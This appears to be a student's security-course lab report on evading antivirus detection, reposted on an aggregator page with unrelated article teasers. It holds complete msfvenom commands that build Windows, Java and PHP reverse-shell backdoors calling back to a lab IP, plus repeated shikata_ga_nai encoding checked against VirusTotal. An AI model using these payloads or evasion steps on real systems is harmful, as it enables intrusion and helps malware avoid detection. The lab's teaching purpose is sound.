20232428 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/11/10 18:15:30/文章来源:https://www.cnblogs.com/315221aA/p/19207865

1.实验内容
实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

veil,加壳工具

使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验要求
掌握免杀原理与技术

回答问题

(1)杀软是如何检测出恶意代码的?

(2)免杀是做什么?

(3)免杀的基本方法有哪些?

2.实验过程
一.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
在kali虚拟机上使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.134 LPORT=2428 -f exe > 20232428.exe命令生成
屏幕截图 2025-10-29 160901
这个命令的作用是生成一个 Windows 系统的恶意程序,具体来说:
用msfvenom工具制作,类型是能反向连接的Meterpreter后门;
目标运行后会主动连接192.168.80.134这个 IP 的2428端口;
生成的文件名叫20232428.exe,格式是 Windows 可执行文件。
2.通过共享文件夹分享至主机文件夹中并上传至VirusTota观察结果
屏幕截图 2025-10-29 161204
3.(1)使用msf编码器多次迭代,生成exe文件
在kali中使用如下命令, msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.80.134 LPORT=2428 -f exe > 20232428_encoded.exe
传输到主机上检测结果如下
屏幕截图 2025-10-29 162251
多次编码后尝试,使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.80.134 LPORT=2428 -f exe > 20232428_encoded_10x.exe命令生成文件,上传检测,结果如下
屏幕截图 2025-10-29 163026
前后对比下降并不明显,说明免杀效果并不理想。
(2)生成jar格式的后门文件
使用msfvenom -p java/shell_reverse_tcp LHOST=192.168.80.134 LPORT=2428 -f jar > 20232428_java_rev.jar命令生成jar文件,上传至主机并检测
屏幕截图 2025-10-29 164250
效果明显
(3)使用msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.134 LPORT=2428 -o 20232428_php_rev.php命令生成文件并上传
屏幕截图 2025-10-29 165233
2.使用veil,加壳工具

问题(1)第一次使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.134 LPORT=2428 -f php > 20232428_php_rev.php,Kali 系统中执行msfvenom命令生成 PHP 格式的反向连接载荷时,遇到了 “invalid format: php” 的错误。这是因为msfvenom中生成 PHP 类型载荷时,格式参数并非-f php,而是需要调整命令结构。使用以下命令来生成 PHP 反向连接载荷msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.134 LPORT=2428 -o 20232428_php_rev.php这里将-f php替换为-o 20232428_php_rev.php,通过-o参数直接指定输出文件,即可生成符合要求的 PHP 反向连接脚本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/961632.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详细介绍:P3375 【模板】KMP

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

11月10号

今天进行了统一建模和数据结构的学习。 然后就进行了java中数据库和服务器的学习。

基于DP1323EL的电动车解锁方案:超高速读写,提升电动车一键解锁体验

电动车无钥匙解锁 在快节奏的都市生活中,电动车已成为许多人的首选出行工具。然而,传统的机械钥匙往往带来诸多不便:容易丢失、操作繁琐,甚至在雨天或匆忙时成为负担。 随着物联网和智能科技的快速发展,一键解…

最强LLM生成代码也会出错?

最强LLM生成代码也会出错?背景 大语言模型(LLM)在代码生成方面无疑取得了惊人的进步,早已成为许多开发者不可或缺的日常工具。从自动补全到生成完整函数,AI正在重塑软件开发的生态。但当这些先进的AI模型生成…

张量与向量

这个问题抓得很准,核心结论是:向量是张量的特殊形式(1维张量),张量是向量的“高维扩展”,二者是“特殊与一般”的关系,核心区别在于维度和数据承载能力。 ### 1. 定义与维度差异 - **向量**:严格来说是1维张量…

TCP的超时重传时间是如何计算的

以上仅供参考,如有疑问,留言联系

路径遍历漏洞实战指南:5种绕过技术与自动化测试

本文深入探讨路径遍历漏洞的原理、常见出现场景,并通过5个真实案例详细讲解不同防御机制的绕过技术,最后介绍使用Python自动化测试的方法和修复建议。路径遍历漏洞实战指南 当我刚开始学习Web安全时,路径遍历是那种…

实用指南:LLMs-from-scratch :KV 缓存

实用指南:LLMs-from-scratch :KV 缓存pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mo…

前置和后置的区别

1、前置式返回的引用,效率会高一点 2、后置式返回的常对象,内部需要一个临时对象,效率相对低一些 备注: 1、前置式和后置式都没有参数,为了加以区分,再后置式增加int自变量,默认值为0 2、对于后置式返回常对象,…

2025年11月太阳能板/光伏板/电池板/单晶硅/多晶硅板前十厂家排名:深圳精益太阳能板领跑行业

文章摘要 本文基于2025年太阳能板行业发展趋势,分析了全球太阳能板市场的竞争格局,重点介绍了前十强品牌的排名、技术优势及服务特点。行业发展迅猛,高效、稳定、环保成为核心需求,本文提供详细排名和品牌信息,并…

TCP报文中的时间戳有什么作用

以上仅供参考,如有疑问,留言联系

响应式编程 - reactor 初识

Reactor 3 是一个围绕该规范构建的库,将响应式编程Reactive Streams范式引入JVM。 在本课程中,你将熟悉 Reactor API。那么,让我们快速介绍一下响应式流和响应式编程中更通用的概念。 package com.qinrenjihe;impor…

ubuntu16.04安装CUDA驱动 - 小

背景:项目需要使用PyTorch ,调用这两个命令nvidia-smi nvcc --version安装cuda,先安装显卡驱动 检查显卡型号:lspci | grep -i nvidia 01:00.0 VGA compatible controller: NVIDIA Corporation GP106 [GeForce …

深入解析:统一高效图像生成与编辑!百度新加坡国立提出Query-Kontext,多项任务“反杀”专用模型

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年11月太阳能板生产厂家排名前十榜单:深圳精益太阳能板引领行业

摘要 随着全球对可再生能源需求的增长,太阳能板行业在2025年持续创新与扩张。本文基于权威市场数据和行业报告,精选出前十名太阳能板生产厂家,重点推荐深圳精益太阳能板作为榜首。榜单结合技术参数、用户口碑和品牌…

reactor 初识

package com.qinrenjihe;import org.jspecify.annotations.NonNull; import reactor.core.publisher.Flux;public class Main {// 创建一个空的 Fluxstatic Flux<@NonNull String> emptyFlux() {return Flux.emp…

QOJ6608 Descent of Dragons

为什么这题放在了 NOIP T2?自闭了……修改只会使值从 \(x\) 变成 \(x+1\),这个对整体的值域变化是非常小的。 对于一个阈值 \(lim\),考虑 \(01\) 序列 \(A_{lim}\),\(A_{lim,i}=[a_i\ge lim]\)。 对于一次修改,实…

2026年HR 数字化转型趋势:AI如何帮助HR从招聘到绩效全流程人效提升 48%?

根据艾瑞咨询 2025 年《中国 HR SaaS 行业研究报告》显示,预计 2025 年国内 HR SaaS 市场规模将突破 240 亿元,其中 AI 技术贡献的价值占比超 60%。这一数据背后,是 AI 正在彻底重塑 HR 全价值链 —— 从招聘的简历…

Windows利用批处理脚本判断端口, 启动tomcat

以下是一个完整的 Windows 批处理脚本,用于检查指定端口是否被占用,并根据结果选择是否启动 Tomcat。如果端口被占用,还可以选择结束占用端口的进程,再启动 Tomcat。批处理脚本代码batch@echo off :: 设置需要检查…

2025最新实测对比:5款热门工程项目管理系统 协同能力与实用体验深度测评

最近花了两个月时间,我们把市面上主流的5款工程项目管理系统都实际用了一遍。 说实话,这个测评做得挺烧脑的,光是测试数据就整理了十几个G。今天就把最真实的体验分享给大家,希望能帮正在选型的工程公司少走点弯路…